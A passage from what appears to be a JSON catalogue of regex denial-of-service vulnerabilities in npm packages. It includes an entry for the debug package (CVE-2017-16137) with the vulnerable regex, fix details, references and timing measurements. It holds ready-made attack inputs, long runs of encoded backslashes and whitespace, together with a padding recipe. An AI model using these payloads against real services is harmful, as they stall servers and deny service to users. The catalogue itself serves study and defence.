%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C%5C!","verification":{"engine":"node v22.23.1","benign_ms":0.05,"curve":[{"input_length":2501,"pumps":2500,"ms":9.85,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":38.91,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":154.04,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":617.77,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"debug-CVE-2017-16137","name":"debug","type":"cve","cve":"CVE-2017-16137","ghsa":"GHSA-gxpj-cx7g-858c","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"debug","affected":"<2.6.9 || >=3.0.0 <3.1.0 || >=3.2.0 <3.2.7 || >=4.0.0 <4.3.1","patched":"3.1.0","published":"2018-06-07","discovered_by":"Cristian-Alexandru Staicu et al. (reported via Node Security)","regex":"\\s*\\n\\s*","flags":"g","complexity":"quadratic","attack":{"prefix":"","pad":" ","suffix":""},"benign":" foo\n   bar\n baz ","fix":{"type":"algorithm-change","summary":"debug's `%o`/`%O` object formatter normalized the multi-line output of `util.inspect()` by collapsing newline-surrounding whitespace with `str.replace(/\\s*\\n\\s*/g, ' ')`. The two greedy `\\s*` groups on either side of `\\n` overlap: on a long run of whitespace that contains no newline, at every start offset the leading `\\s*` matches to the end of the run and then fails to find the required `\\n`, and the global search retries from the next offset, giving O(n^2) behaviour on attacker-influenced logged objects. debug 3.1.0 (commit c38a016) removed the regex entirely and replaced it with a linear `inspected.split('\\n').map(str => str.trim()).join(' ')`, producing the same normalization without backtracking.","commit":"https://github.com/debug-js/debug/commit/c38a0166c266a679c8de012d4eaccec3f944e685"},"description":"debug is one of the most-downloaded packages in the entire npm ecosystem (a transitive dependency of Express, Mocha, and thousands of other tools). When a debug statement logs an object with the `%o` or `%O` formatter, the formatter runs `util.inspect()` and then collapses the resulting multi-line string with the regex `/\\s*\\n\\s*/g`. Because the whitespace groups on both sides of the newline overlap, a value whose inspected form contains a long whitespace run without a newline forces quadratic backtracking, letting attacker-controlled logged data stall the event loop. (The same bug is also tracked as CVE-2017-20165 / GHSA-9vvw-cc9w-f27h.)","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-16137","https://github.com/advisories/GHSA-gxpj-cx7g-858c","https://github.com/debug-js/debug/pull/504","https://github.com/debug-js/debug/commit/c38a0166c266a679c8de012d4eaccec3f944e685"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Cs*%5Cn%5Cs*&in=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%